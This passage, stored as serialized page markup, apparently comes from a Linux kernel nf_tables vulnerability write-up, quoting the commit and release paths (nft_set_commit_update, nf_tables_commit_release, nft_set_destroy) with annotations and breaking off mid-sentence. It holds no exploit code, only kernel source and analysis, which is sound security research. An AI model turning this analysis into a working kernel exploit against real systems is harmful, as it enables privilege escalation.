list_del_rcu",{"type":24,"tag":147,"props":58107,"children":58108},{"style":235},[58109],{"type":29,"value":480},{"type":24,"tag":147,"props":58111,"children":58112},{"style":241},[58113],{"type":29,"value":485},{"type":24,"tag":147,"props":58115,"children":58116},{"style":229},[58117],{"type":29,"value":58118},"nft_trans_set",{"type":24,"tag":147,"props":58120,"children":58121},{"style":235},[58122],{"type":29,"value":58075},{"type":24,"tag":147,"props":58124,"children":58125},{"style":247},[58126],{"type":29,"value":58127},"list",{"type":24,"tag":147,"props":58129,"children":58130},{"style":235},[58131],{"type":29,"value":1473},{"type":24,"tag":147,"props":58133,"children":58134},{"class":149,"line":214},[58135,58140,58144,58148,58153,58157,58161,58165,58169],{"type":24,"tag":147,"props":58136,"children":58137},{"style":229},[58138],{"type":29,"value":58139},"   nf_tables_set_notify",{"type":24,"tag":147,"props":58141,"children":58142},{"style":235},[58143],{"type":29,"value":480},{"type":24,"tag":147,"props":58145,"children":58146},{"style":241},[58147],{"type":29,"value":485},{"type":24,"tag":147,"props":58149,"children":58150},{"style":247},[58151],{"type":29,"value":58152},"trans",{"type":24,"tag":147,"props":58154,"children":58155},{"style":235},[58156],{"type":29,"value":495},{"type":24,"tag":147,"props":58158,"children":58159},{"style":247},[58160],{"type":29,"value":25884},{"type":24,"tag":147,"props":58162,"children":58163},{"style":235},[58164],{"type":29,"value":546},{"type":24,"tag":147,"props":58166,"children":58167},{"style":229},[58168],{"type":29,"value":58118},{"type":24,"tag":147,"props":58170,"children":58171},{"style":235},[58172],{"type":29,"value":58173},"(trans),\n",{"type":24,"tag":147,"props":58175,"children":58176},{"class":149,"line":272},[58177,58182,58186,58191],{"type":24,"tag":147,"props":58178,"children":58179},{"style":247},[58180],{"type":29,"value":58181},"          trans",{"type":24,"tag":147,"props":58183,"children":58184},{"style":235},[58185],{"type":29,"value":495},{"type":24,"tag":147,"props":58187,"children":58188},{"style":247},[58189],{"type":29,"value":58190},"msg_type",{"type":24,"tag":147,"props":58192,"children":58193},{"style":235},[58194],{"type":29,"value":58195},", GFP_KERNEL);\n",{"type":24,"tag":147,"props":58197,"children":58198},{"class":149,"line":281},[58199,58204],{"type":24,"tag":147,"props":58200,"children":58201},{"style":321},[58202],{"type":29,"value":58203},"   break",{"type":24,"tag":147,"props":58205,"children":58206},{"style":235},[58207],{"type":29,"value":432},{"type":24,"tag":147,"props":58209,"children":58210},{"class":149,"line":299},[58211,58216],{"type":24,"tag":147,"props":58212,"children":58213},{"style":235},[58214],{"type":29,"value":58215},"  case NFT_MSG_NEWSETELEM:",{"type":24,"tag":147,"props":58217,"children":58218},{"style":154},[58219],{"type":29,"value":781},{"type":24,"tag":147,"props":58221,"children":58222},{"class":149,"line":308},[58223],{"type":24,"tag":147,"props":58224,"children":58225},{"style":235},[58226],{"type":29,"value":15939},{"type":24,"tag":147,"props":58228,"children":58229},{"class":149,"line":317},[58230,58235,58239,58244,58248,58252,58256,58261,58265,58270],{"type":24,"tag":147,"props":58231,"children":58232},{"style":321},[58233],{"type":29,"value":58234},"   if",{"type":24,"tag":147,"props":58236,"children":58237},{"style":235},[58238],{"type":29,"value":408},{"type":24,"tag":147,"props":58240,"children":58241},{"style":247},[58242],{"type":29,"value":58243},"te",{"type":24,"tag":147,"props":58245,"children":58246},{"style":235},[58247],{"type":29,"value":495},{"type":24,"tag":147,"props":58249,"children":58250},{"style":247},[58251],{"type":29,"value":56616},{"type":24,"tag":147,"props":58253,"children":58254},{"style":235},[58255],{"type":29,"value":495},{"type":24,"tag":147,"props":58257,"children":58258},{"style":247},[58259],{"type":29,"value":58260},"ops",{"type":24,"tag":147,"props":58262,"children":58263},{"style":235},[58264],{"type":29,"value":495},{"type":24,"tag":147,"props":58266,"children":58267},{"style":247},[58268],{"type":29,"value":58269},"commit",{"type":24,"tag":147,"props":58271,"children":58272},{"style":241},[58273],{"type":29,"value":58274}," &&\n",{"type":24,"tag":147,"props":58276,"children":58277},{"class":149,"line":332},[58278,58283,58287,58291,58295,58299,58303,58307,58312],{"type":24,"tag":147,"props":58279,"children":58280},{"style":229},[58281],{"type":29,"value":58282},"       list_empty",{"type":24,"tag":147,"props":58284,"children":58285},{"style":235},[58286],{"type":29,"value":480},{"type":24,"tag":147,"props":58288,"children":58289},{"style":241},[58290],{"type":29,"value":485},{"type":24,"tag":147,"props":58292,"children":58293},{"style":247},[58294],{"type":29,"value":58243},{"type":24,"tag":147,"props":58296,"children":58297},{"style":235},[58298],{"type":29,"value":495},{"type":24,"tag":147,"props":58300,"children":58301},{"style":247},[58302],{"type":29,"value":56616},{"type":24,"tag":147,"props":58304,"children":58305},{"style":235},[58306],{"type":29,"value":495},{"type":24,"tag":147,"props":58308,"children":58309},{"style":247},[58310],{"type":29,"value":58311},"pending_update",{"type":24,"tag":147,"props":58313,"children":58314},{"style":235},[58315],{"type":29,"value":1432},{"type":24,"tag":147,"props":58317,"children":58318},{"class":149,"line":350},[58319,58324,58328,58332,58336,58340,58344,58348,58352],{"type":24,"tag":147,"props":58320,"children":58321},{"style":229},[58322],{"type":29,"value":58323},"    list_add_tail",{"type":24,"tag":147,"props":58325,"children":58326},{"style":235},[58327],{"type":29,"value":480},{"type":24,"tag":147,"props":58329,"children":58330},{"style":241},[58331],{"type":29,"value":485},{"type":24,"tag":147,"props":58333,"children":58334},{"style":247},[58335],{"type":29,"value":58243},{"type":24,"tag":147,"props":58337,"children":58338},{"style":235},[58339],{"type":29,"value":495},{"type":24,"tag":147,"props":58341,"children":58342},{"style":247},[58343],{"type":29,"value":56616},{"type":24,"tag":147,"props":58345,"children":58346},{"style":235},[58347],{"type":29,"value":495},{"type":24,"tag":147,"props":58349,"children":58350},{"style":247},[58351],{"type":29,"value":58311},{"type":24,"tag":147,"props":58353,"children":58354},{"style":235},[58355],{"type":29,"value":1549},{"type":24,"tag":147,"props":58357,"children":58358},{"class":149,"line":358},[58359,58364],{"type":24,"tag":147,"props":58360,"children":58361},{"style":241},[58362],{"type":29,"value":58363},"           &",{"type":24,"tag":147,"props":58365,"children":58366},{"style":235},[58367],{"type":29,"value":58368},"set_update_list);\n",{"type":24,"tag":147,"props":58370,"children":58371},{"class":149,"line":397},[58372],{"type":24,"tag":147,"props":58373,"children":58374},{"style":235},[58375],{"type":29,"value":40349},{"type":24,"tag":147,"props":58377,"children":58378},{"class":149,"line":421},[58379],{"type":24,"tag":147,"props":58380,"children":58381},{"style":235},[58382],{"type":29,"value":15939},{"type":24,"tag":147,"props":58384,"children":58385},{"class":149,"line":435},[58386],{"type":24,"tag":147,"props":58387,"children":58388},{"style":235},[58389],{"type":29,"value":15217},{"type":24,"tag":147,"props":58391,"children":58392},{"class":149,"line":444},[58393],{"type":24,"tag":147,"props":58394,"children":58395},{"emptyLinePlaceholder":16},[58396],{"type":29,"value":314},{"type":24,"tag":147,"props":58398,"children":58399},{"class":149,"line":452},[58400,58405,58409,58413,58418],{"type":24,"tag":147,"props":58401,"children":58402},{"style":229},[58403],{"type":29,"value":58404}," nft_set_commit_update",{"type":24,"tag":147,"props":58406,"children":58407},{"style":235},[58408],{"type":29,"value":480},{"type":24,"tag":147,"props":58410,"children":58411},{"style":241},[58412],{"type":29,"value":485},{"type":24,"tag":147,"props":58414,"children":58415},{"style":247},[58416],{"type":29,"value":58417},"set_update_list",{"type":24,"tag":147,"props":58419,"children":58420},{"style":235},[58421],{"type":29,"value":1473},{"type":24,"tag":147,"props":58423,"children":58424},{"class":149,"line":461},[58425],{"type":24,"tag":147,"props":58426,"children":58427},{"style":235},[58428],{"type":29,"value":15939},{"type":24,"tag":147,"props":58430,"children":58431},{"class":149,"line":469},[58432,58437],{"type":24,"tag":147,"props":58433,"children":58434},{"style":229},[58435],{"type":29,"value":58436}," nf_tables_commit_release",{"type":24,"tag":147,"props":58438,"children":58439},{"style":235},[58440],{"type":29,"value":58441},"(net);\n",{"type":24,"tag":147,"props":58443,"children":58444},{"class":149,"line":508},[58445],{"type":24,"tag":147,"props":58446,"children":58447},{"emptyLinePlaceholder":16},[58448],{"type":29,"value":314},{"type":24,"tag":147,"props":58450,"children":58451},{"class":149,"line":572},[58452,58457,58461],{"type":24,"tag":147,"props":58453,"children":58454},{"style":321},[58455],{"type":29,"value":58456}," return",{"type":24,"tag":147,"props":58458,"children":58459},{"style":705},[58460],{"type":29,"value":708},{"type":24,"tag":147,"props":58462,"children":58463},{"style":235},[58464],{"type":29,"value":432},{"type":24,"tag":147,"props":58466,"children":58467},{"class":149,"line":591},[58468],{"type":24,"tag":147,"props":58469,"children":58470},{"style":235},[58471],{"type":29,"value":827},{"type":24,"tag":25,"props":58473,"children":58474},{},[58475,58476,58482,58484,58489],{"type":29,"value":5094},{"type":24,"tag":80,"props":58477,"children":58479},{"className":58478},[],[58480],{"type":29,"value":58481},"nft_set_commit_update()",{"type":29,"value":58483}," function in the code above will call the ",{"type":24,"tag":80,"props":58485,"children":58487},{"className":58486},[],[58488],{"type":29,"value":57936},{"type":29,"value":58490}," method for any objects that were marked as pending an update.",{"type":24,"tag":137,"props":58492,"children":58494},{"className":141,"code":58493,"language":140,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[58495],{"type":24,"tag":80,"props":58496,"children":58497},{"__ignoreMap":7},[58498,58538,58545,58574,58581,58594,58626,58633,58694,58705,58712,58746,58753],{"type":24,"tag":147,"props":58499,"children":58500},{"class":149,"line":150},[58501,58505,58509,58513,58517,58521,58526,58530,58534],{"type":24,"tag":147,"props":58502,"children":58503},{"style":218},[58504],{"type":29,"value":221},{"type":24,"tag":147,"props":58506,"children":58507},{"style":218},[58508],{"type":29,"value":226},{"type":24,"tag":147,"props":58510,"children":58511},{"style":229},[58512],{"type":29,"value":58404},{"type":24,"tag":147,"props":58514,"children":58515},{"style":235},[58516],{"type":29,"value":480},{"type":24,"tag":147,"props":58518,"children":58519},{"style":218},[58520],{"type":29,"value":993},{"type":24,"tag":147,"props":58522,"children":58523},{"style":235},[58524],{"type":29,"value":58525}," list_head ",{"type":24,"tag":147,"props":58527,"children":58528},{"style":241},[58529],{"type":29,"value":244},{"type":24,"tag":147,"props":58531,"children":58532},{"style":247},[58533],{"type":29,"value":58417},{"type":24,"tag":147,"props":58535,"children":58536},{"style":235},[58537],{"type":29,"value":269},{"type":24,"tag":147,"props":58539,"children":58540},{"class":149,"line":160},[58541],{"type":24,"tag":147,"props":58542,"children":58543},{"style":235},[58544],{"type":29,"value":278},{"type":24,"tag":147,"props":58546,"children":58547},{"class":149,"line":169},[58548,58552,58556,58560,58565,58569],{"type":24,"tag":147,"props":58549,"children":58550},{"style":218},[58551],{"type":29,"value":26753},{"type":24,"tag":147,"props":58553,"children":58554},{"style":235},[58555],{"type":29,"value":56694},{"type":24,"tag":147,"props":58557,"children":58558},{"style":241},[58559],{"type":29,"value":244},{"type":24,"tag":147,"props":58561,"children":58562},{"style":235},[58563],{"type":29,"value":58564},"set, ",{"type":24,"tag":147,"props":58566,"children":58567},{"style":241},[58568],{"type":29,"value":244},{"type":24,"tag":147,"props":58570,"children":58571},{"style":235},[58572],{"type":29,"value":58573},"next;\n",{"type":24,"tag":147,"props":58575,"children":58576},{"class":149,"line":178},[58577],{"type":24,"tag":147,"props":58578,"children":58579},{"emptyLinePlaceholder":16},[58580],{"type":29,"value":314},{"type":24,"tag":147,"props":58582,"children":58583},{"class":149,"line":187},[58584,58589],{"type":24,"tag":147,"props":58585,"children":58586},{"style":229},[58587],{"type":29,"value":58588}," list_for_each_entry_safe",{"type":24,"tag":147,"props":58590,"children":58591},{"style":235},[58592],{"type":29,"value":58593},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":147,"props":58595,"children":58596},{"class":149,"line":196},[58597,58602,58606,58610,58614,58618,58622],{"type":24,"tag":147,"props":58598,"children":58599},{"style":229},[58600],{"type":29,"value":58601},"  list_del_init",{"type":24,"tag":147,"props":58603,"children":58604},{"style":235},[58605],{"type":29,"value":480},{"type":24,"tag":147,"props":58607,"children":58608},{"style":241},[58609],{"type":29,"value":485},{"type":24,"tag":147,"props":58611,"children":58612},{"style":247},[58613],{"type":29,"value":56616},{"type":24,"tag":147,"props":58615,"children":58616},{"style":235},[58617],{"type":29,"value":495},{"type":24,"tag":147,"props":58619,"children":58620},{"style":247},[58621],{"type":29,"value":58311},{"type":24,"tag":147,"props":58623,"children":58624},{"style":235},[58625],{"type":29,"value":1473},{"type":24,"tag":147,"props":58627,"children":58628},{"class":149,"line":205},[58629],{"type":24,"tag":147,"props":58630,"children":58631},{"emptyLinePlaceholder":16},[58632],{"type":29,"value":314},{"type":24,"tag":147,"props":58634,"children":58635},{"class":149,"line":214},[58636,58640,58644,58648,58652,58656,58660,58664,58668,58672,58677,58681,58685,58689],{"type":24,"tag":147,"props":58637,"children":58638},{"style":321},[58639],{"type":29,"value":3057},{"type":24,"tag":147,"props":58641,"children":58642},{"style":235},[58643],{"type":29,"value":408},{"type":24,"tag":147,"props":58645,"children":58646},{"style":241},[58647],{"type":29,"value":413},{"type":24,"tag":147,"props":58649,"children":58650},{"style":247},[58651],{"type":29,"value":56616},{"type":24,"tag":147,"props":58653,"children":58654},{"style":235},[58655],{"type":29,"value":495},{"type":24,"tag":147,"props":58657,"children":58658},{"style":247},[58659],{"type":29,"value":58260},{"type":24,"tag":147,"props":58661,"children":58662},{"style":235},[58663],{"type":29,"value":495},{"type":24,"tag":147,"props":58665,"children":58666},{"style":247},[58667],{"type":29,"value":58269},{"type":24,"tag":147,"props":58669,"children":58670},{"style":241},[58671],{"type":29,"value":29300},{"type":24,"tag":147,"props":58673,"children":58674},{"style":247},[58675],{"type":29,"value":58676}," set",{"type":24,"tag":147,"props":58678,"children":58679},{"style":235},[58680],{"type":29,"value":495},{"type":24,"tag":147,"props":58682,"children":58683},{"style":247},[58684],{"type":29,"value":58080},{"type":24,"tag":147,"props":58686,"children":58687},{"style":235},[58688],{"type":29,"value":8758},{"type":24,"tag":147,"props":58690,"children":58691},{"style":154},[58692],{"type":29,"value":58693}," // [4]\n",{"type":24,"tag":147,"props":58695,"children":58696},{"class":149,"line":272},[58697,58701],{"type":24,"tag":147,"props":58698,"children":58699},{"style":321},[58700],{"type":29,"value":57084},{"type":24,"tag":147,"props":58702,"children":58703},{"style":235},[58704],{"type":29,"value":432},{"type":24,"tag":147,"props":58706,"children":58707},{"class":149,"line":281},[58708],{"type":24,"tag":147,"props":58709,"children":58710},{"emptyLinePlaceholder":16},[58711],{"type":29,"value":314},{"type":24,"tag":147,"props":58713,"children":58714},{"class":149,"line":299},[58715,58720,58724,58728,58732,58736,58741],{"type":24,"tag":147,"props":58716,"children":58717},{"style":247},[58718],{"type":29,"value":58719},"  set",{"type":24,"tag":147,"props":58721,"children":58722},{"style":235},[58723],{"type":29,"value":495},{"type":24,"tag":147,"props":58725,"children":58726},{"style":247},[58727],{"type":29,"value":58260},{"type":24,"tag":147,"props":58729,"children":58730},{"style":235},[58731],{"type":29,"value":495},{"type":24,"tag":147,"props":58733,"children":58734},{"style":229},[58735],{"type":29,"value":58269},{"type":24,"tag":147,"props":58737,"children":58738},{"style":235},[58739],{"type":29,"value":58740},"(set);",{"type":24,"tag":147,"props":58742,"children":58743},{"style":154},[58744],{"type":29,"value":58745}," // [5]\n",{"type":24,"tag":147,"props":58747,"children":58748},{"class":149,"line":308},[58749],{"type":24,"tag":147,"props":58750,"children":58751},{"style":235},[58752],{"type":29,"value":15217},{"type":24,"tag":147,"props":58754,"children":58755},{"class":149,"line":317},[58756],{"type":24,"tag":147,"props":58757,"children":58758},{"style":235},[58759],{"type":29,"value":827},{"type":24,"tag":25,"props":58761,"children":58762},{},[58763,58765,58771,58773,58778,58779,58784],{"type":29,"value":58764},"Later on, the ",{"type":24,"tag":80,"props":58766,"children":58768},{"className":58767},[],[58769],{"type":29,"value":58770},"nf_tables_commit_release()",{"type":29,"value":58772}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":80,"props":58774,"children":58776},{"className":58775},[],[58777],{"type":29,"value":56616},{"type":29,"value":57930},{"type":24,"tag":80,"props":58780,"children":58782},{"className":58781},[],[58783],{"type":29,"value":57944},{"type":29,"value":58785}," method.",{"type":24,"tag":137,"props":58787,"children":58789},{"className":141,"code":58788,"language":140,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[58790],{"type":24,"tag":80,"props":58791,"children":58792},{"__ignoreMap":7},[58793,58832,58839,58846,58867,58874,58881,58888,58929,58936,58943,58964,58977,58989,58996,59003,59010,59051,59058,59086,59093,59106,59118,59159,59166,59173,59180,59238,59245,59252,59281,59288],{"type":24,"tag":147,"props":58794,"children":58795},{"class":149,"line":150},[58796,58800,58804,58808,58812,58816,58820,58824,58828],{"type":24,"tag":147,"props":58797,"children":58798},{"style":218},[58799],{"type":29,"value":221},{"type":24,"tag":147,"props":58801,"children":58802},{"style":218},[58803],{"type":29,"value":226},{"type":24,"tag":147,"props":58805,"children":58806},{"style":229},[58807],{"type":29,"value":58436},{"type":24,"tag":147,"props":58809,"children":58810},{"style":235},[58811],{"type":29,"value":480},{"type":24,"tag":147,"props":58813,"children":58814},{"style":218},[58815],{"type":29,"value":993},{"type":24,"tag":147,"props":58817,"children":58818},{"style":235},[58819],{"type":29,"value":57594},{"type":24,"tag":147,"props":58821,"children":58822},{"style":241},[58823],{"type":29,"value":244},{"type":24,"tag":147,"props":58825,"children":58826},{"style":247},[58827],{"type":29,"value":57603},{"type":24,"tag":147,"props":58829,"children":58830},{"style":235},[58831],{"type":29,"value":269},{"type":24,"tag":147,"props":58833,"children":58834},{"class":149,"line":160},[58835],{"type":24,"tag":147,"props":58836,"children":58837},{"style":235},[58838],{"type":29,"value":278},{"type":24,"tag":147,"props":58840,"children":58841},{"class":149,"line":169},[58842],{"type":24,"tag":147,"props":58843,"children":58844},{"style":235},[58845],{"type":29,"value":15939},{"type":24,"tag":147,"props":58847,"children":58848},{"class":149,"line":178},[58849,58854,58858,58862],{"type":24,"tag":147,"props":58850,"children":58851},{"style":229},[58852],{"type":29,"value":58853}," schedule_work",{"type":24,"tag":147,"props":58855,"children":58856},{"style":235},[58857],{"type":29,"value":480},{"type":24,"tag":147,"props":58859,"children":58860},{"style":241},[58861],{"type":29,"value":485},{"type":24,"tag":147,"props":58863,"children":58864},{"style":235},[58865],{"type":29,"value":58866},"trans_destroy_work);\n",{"type":24,"tag":147,"props":58868,"children":58869},{"class":149,"line":187},[58870],{"type":24,"tag":147,"props":58871,"children":58872},{"style":235},[58873],{"type":29,"value":15939},{"type":24,"tag":147,"props":58875,"children":58876},{"class":149,"line":196},[58877],{"type":24,"tag":147,"props":58878,"children":58879},{"style":235},[58880],{"type":29,"value":827},{"type":24,"tag":147,"props":58882,"children":58883},{"class":149,"line":205},[58884],{"type":24,"tag":147,"props":58885,"children":58886},{"style":235},[58887],{"type":29,"value":15939},{"type":24,"tag":147,"props":58889,"children":58890},{"class":149,"line":214},[58891,58895,58899,58904,58908,58912,58917,58921,58925],{"type":24,"tag":147,"props":58892,"children":58893},{"style":218},[58894],{"type":29,"value":221},{"type":24,"tag":147,"props":58896,"children":58897},{"style":218},[58898],{"type":29,"value":226},{"type":24,"tag":147,"props":58900,"children":58901},{"style":229},[58902],{"type":29,"value":58903}," nf_tables_trans_destroy_work",{"type":24,"tag":147,"props":58905,"children":58906},{"style":235},[58907],{"type":29,"value":480},{"type":24,"tag":147,"props":58909,"children":58910},{"style":218},[58911],{"type":29,"value":993},{"type":24,"tag":147,"props":58913,"children":58914},{"style":235},[58915],{"type":29,"value":58916}," work_struct ",{"type":24,"tag":147,"props":58918,"children":58919},{"style":241},[58920],{"type":29,"value":244},{"type":24,"tag":147,"props":58922,"children":58923},{"style":247},[58924],{"type":29,"value":55169},{"type":24,"tag":147,"props":58926,"children":58927},{"style":235},[58928],{"type":29,"value":269},{"type":24,"tag":147,"props":58930,"children":58931},{"class":149,"line":272},[58932],{"type":24,"tag":147,"props":58933,"children":58934},{"style":235},[58935],{"type":29,"value":278},{"type":24,"tag":147,"props":58937,"children":58938},{"class":149,"line":281},[58939],{"type":24,"tag":147,"props":58940,"children":58941},{"style":235},[58942],{"type":29,"value":15939},{"type":24,"tag":147,"props":58944,"children":58945},{"class":149,"line":299},[58946,58950,58955,58959],{"type":24,"tag":147,"props":58947,"children":58948},{"style":229},[58949],{"type":29,"value":58588},{"type":24,"tag":147,"props":58951,"children":58952},{"style":235},[58953],{"type":29,"value":58954},"(trans, next, ",{"type":24,"tag":147,"props":58956,"children":58957},{"style":241},[58958],{"type":29,"value":485},{"type":24,"tag":147,"props":58960,"children":58961},{"style":235},[58962],{"type":29,"value":58963},"head, list) {\n",{"type":24,"tag":147,"props":58965,"children":58966},{"class":149,"line":308},[58967,58972],{"type":24,"tag":147,"props":58968,"children":58969},{"style":229},[58970],{"type":29,"value":58971},"  nft_trans_list_del",{"type":24,"tag":147,"props":58973,"children":58974},{"style":235},[58975],{"type":29,"value":58976},"(trans);\n",{"type":24,"tag":147,"props":58978,"children":58979},{"class":149,"line":317},[58980,58985],{"type":24,"tag":147,"props":58981,"children":58982},{"style":229},[58983],{"type":29,"value":58984},"  nft_commit_release",{"type":24,"tag":147,"props":58986,"children":58987},{"style":235},[58988],{"type":29,"value":58976},{"type":24,"tag":147,"props":58990,"children":58991},{"class":149,"line":332},[58992],{"type":24,"tag":147,"props":58993,"children":58994},{"style":235},[58995],{"type":29,"value":15217},{"type":24,"tag":147,"props":58997,"children":58998},{"class":149,"line":350},[58999],{"type":24,"tag":147,"props":59000,"children":59001},{"style":235},[59002],{"type":29,"value":827},{"type":24,"tag":147,"props":59004,"children":59005},{"class":149,"line":358},[59006],{"type":24,"tag":147,"props":59007,"children":59008},{"style":235},[59009],{"type":29,"value":15939},{"type":24,"tag":147,"props":59011,"children":59012},{"class":149,"line":397},[59013,59017,59021,59026,59030,59034,59039,59043,59047],{"type":24,"tag":147,"props":59014,"children":59015},{"style":218},[59016],{"type":29,"value":221},{"type":24,"tag":147,"props":59018,"children":59019},{"style":218},[59020],{"type":29,"value":226},{"type":24,"tag":147,"props":59022,"children":59023},{"style":229},[59024],{"type":29,"value":59025}," nft_commit_release",{"type":24,"tag":147,"props":59027,"children":59028},{"style":235},[59029],{"type":29,"value":480},{"type":24,"tag":147,"props":59031,"children":59032},{"style":218},[59033],{"type":29,"value":993},{"type":24,"tag":147,"props":59035,"children":59036},{"style":235},[59037],{"type":29,"value":59038}," nft_trans ",{"type":24,"tag":147,"props":59040,"children":59041},{"style":241},[59042],{"type":29,"value":244},{"type":24,"tag":147,"props":59044,"children":59045},{"style":247},[59046],{"type":29,"value":58152},{"type":24,"tag":147,"props":59048,"children":59049},{"style":235},[59050],{"type":29,"value":269},{"type":24,"tag":147,"props":59052,"children":59053},{"class":149,"line":421},[59054],{"type":24,"tag":147,"props":59055,"children":59056},{"style":235},[59057],{"type":29,"value":278},{"type":24,"tag":147,"props":59059,"children":59060},{"class":149,"line":435},[59061,59066,59070,59074,59078,59082],{"type":24,"tag":147,"props":59062,"children":59063},{"style":321},[59064],{"type":29,"value":59065}," switch",{"type":24,"tag":147,"props":59067,"children":59068},{"style":235},[59069],{"type":29,"value":408},{"type":24,"tag":147,"props":59071,"children":59072},{"style":247},[59073],{"type":29,"value":58152},{"type":24,"tag":147,"props":59075,"children":59076},{"style":235},[59077],{"type":29,"value":495},{"type":24,"tag":147,"props":59079,"children":59080},{"style":247},[59081],{"type":29,"value":58190},{"type":24,"tag":147,"props":59083,"children":59084},{"style":235},[59085],{"type":29,"value":505},{"type":24,"tag":147,"props":59087,"children":59088},{"class":149,"line":444},[59089],{"type":24,"tag":147,"props":59090,"children":59091},{"style":235},[59092],{"type":29,"value":15939},{"type":24,"tag":147,"props":59094,"children":59095},{"class":149,"line":452},[59096,59101],{"type":24,"tag":147,"props":59097,"children":59098},{"style":321},[59099],{"type":29,"value":59100}," case",{"type":24,"tag":147,"props":59102,"children":59103},{"style":235},[59104],{"type":29,"value":59105}," NFT_MSG_DELSET:\n",{"type":24,"tag":147,"props":59107,"children":59108},{"class":149,"line":461},[59109,59113],{"type":24,"tag":147,"props":59110,"children":59111},{"style":321},[59112],{"type":29,"value":59100},{"type":24,"tag":147,"props":59114,"children":59115},{"style":235},[59116],{"type":29,"value":59117}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":147,"props":59119,"children":59120},{"class":149,"line":469},[59121,59126,59130,59134,59138,59142,59146,59150,59154],{"type":24,"tag":147,"props":59122,"children":59123},{"style":229},[59124],{"type":29,"value":59125},"  nft_set_destroy",{"type":24,"tag":147,"props":59127,"children":59128},{"style":235},[59129],{"type":29,"value":480},{"type":24,"tag":147,"props":59131,"children":59132},{"style":241},[59133],{"type":29,"value":485},{"type":24,"tag":147,"props":59135,"children":59136},{"style":235},[59137],{"type":29,"value":58152},{"type":24,"tag":147,"props":59139,"children":59140},{"style":241},[59141],{"type":29,"value":495},{"type":24,"tag":147,"props":59143,"children":59144},{"style":247},[59145],{"type":29,"value":25884},{"type":24,"tag":147,"props":59147,"children":59148},{"style":235},[59149],{"type":29,"value":546},{"type":24,"tag":147,"props":59151,"children":59152},{"style":229},[59153],{"type":29,"value":58118},{"type":24,"tag":147,"props":59155,"children":59156},{"style":235},[59157],{"type":29,"value":59158},"(trans));\n",{"type":24,"tag":147,"props":59160,"children":59161},{"class":149,"line":508},[59162],{"type":24,"tag":147,"props":59163,"children":59164},{"style":235},[59165],{"type":29,"value":15939},{"type":24,"tag":147,"props":59167,"children":59168},{"class":149,"line":572},[59169],{"type":24,"tag":147,"props":59170,"children":59171},{"style":235},[59172],{"type":29,"value":827},{"type":24,"tag":147,"props":59174,"children":59175},{"class":149,"line":591},[59176],{"type":24,"tag":147,"props":59177,"children":59178},{"style":235},[59179],{"type":29,"value":15939},{"type":24,"tag":147,"props":59181,"children":59182},{"class":149,"line":632},[59183,59187,59191,59196,59200,59204,59208,59212,59216,59221,59225,59229,59233],{"type":24,"tag":147,"props":59184,"children":59185},{"style":218},[59186],{"type":29,"value":221},{"type":24,"tag":147,"props":59188,"children":59189},{"style":218},[59190],{"type":29,"value":226},{"type":24,"tag":147,"props":59192,"children":59193},{"style":229},[59194],{"type":29,"value":59195}," nft_set_destroy",{"type":24,"tag":147,"props":59197,"children":59198},{"style":235},[59199],{"type":29,"value":480},{"type":24,"tag":147,"props":59201,"children":59202},{"style":218},[59203],{"type":29,"value":15276},{"type":24,"tag":147,"props":59205,"children":59206},{"style":218},[59207],{"type":29,"value":26753},{"type":24,"tag":147,"props":59209,"children":59210},{"style":235},[59211],{"type":29,"value":56666},{"type":24,"tag":147,"props":59213,"children":59214},{"style":241},[59215],{"type":29,"value":244},{"type":24,"tag":147,"props":59217,"children":59218},{"style":235},[59219],{"type":29,"value":59220},"ctx, ",{"type":24,"tag":147,"props":59222,"children":59223},{"style":218},[59224],{"type":29,"value":993},{"type":24,"tag":147,"props":59226,"children":59227},{"style":235},[59228],{"type":29,"value":56694},{"type":24,"tag":147,"props":59230,"children":59231},{"style":241},[59232],{"type":29,"value":244},{"type":24,"tag":147,"props":59234,"children":59235},{"style":235},[59236],{"type":29,"value":59237},"set)\n",{"type":24,"tag":147,"props":59239,"children":59240},{"class":149,"line":659},[59241],{"type":24,"tag":147,"props":59242,"children":59243},{"style":235},[59244],{"type":29,"value":278},{"type":24,"tag":147,"props":59246,"children":59247},{"class":149,"line":684},[59248],{"type":24,"tag":147,"props":59249,"children":59250},{"style":235},[59251],{"type":29,"value":15939},{"type":24,"tag":147,"props":59253,"children":59254},{"class":149,"line":715},[59255,59259,59263,59267,59271,59276],{"type":24,"tag":147,"props":59256,"children":59257},{"style":247},[59258],{"type":29,"value":58676},{"type":24,"tag":147,"props":59260,"children":59261},{"style":235},[59262],{"type":29,"value":495},{"type":24,"tag":147,"props":59264,"children":59265},{"style":247},[59266],{"type":29,"value":58260},{"type":24,"tag":147,"props":59268,"children":59269},{"style":235},[59270],{"type":29,"value":495},{"type":24,"tag":147,"props":59272,"children":59273},{"style":229},[59274],{"type":29,"value":59275},"destroy",{"type":24,"tag":147,"props":59277,"children":59278},{"style":235},[59279],{"type":29,"value":59280},"(ctx, set);\n",{"type":24,"tag":147,"props":59282,"children":59283},{"class":149,"line":744},[59284],{"type":24,"tag":147,"props":59285,"children":59286},{"style":235},[59287],{"type":29,"value":15939},{"type":24,"tag":147,"props":59289,"children":59290},{"class":149,"line":784},[59291],{"type":24,"tag":147,"props":59292,"children":59293},{"style":235},[59294],{"type":29,"value":827},{"type":24,"tag":25,"props":59296,"children":59297},{},[59298,59300,59305,59307,59312,59314,59320,59322,59327,59329,59334,59336,59340,59342,59347,59348,59352,59354,59360],{"type":29,"value":59299},"It may appear as if it would be impossible to make 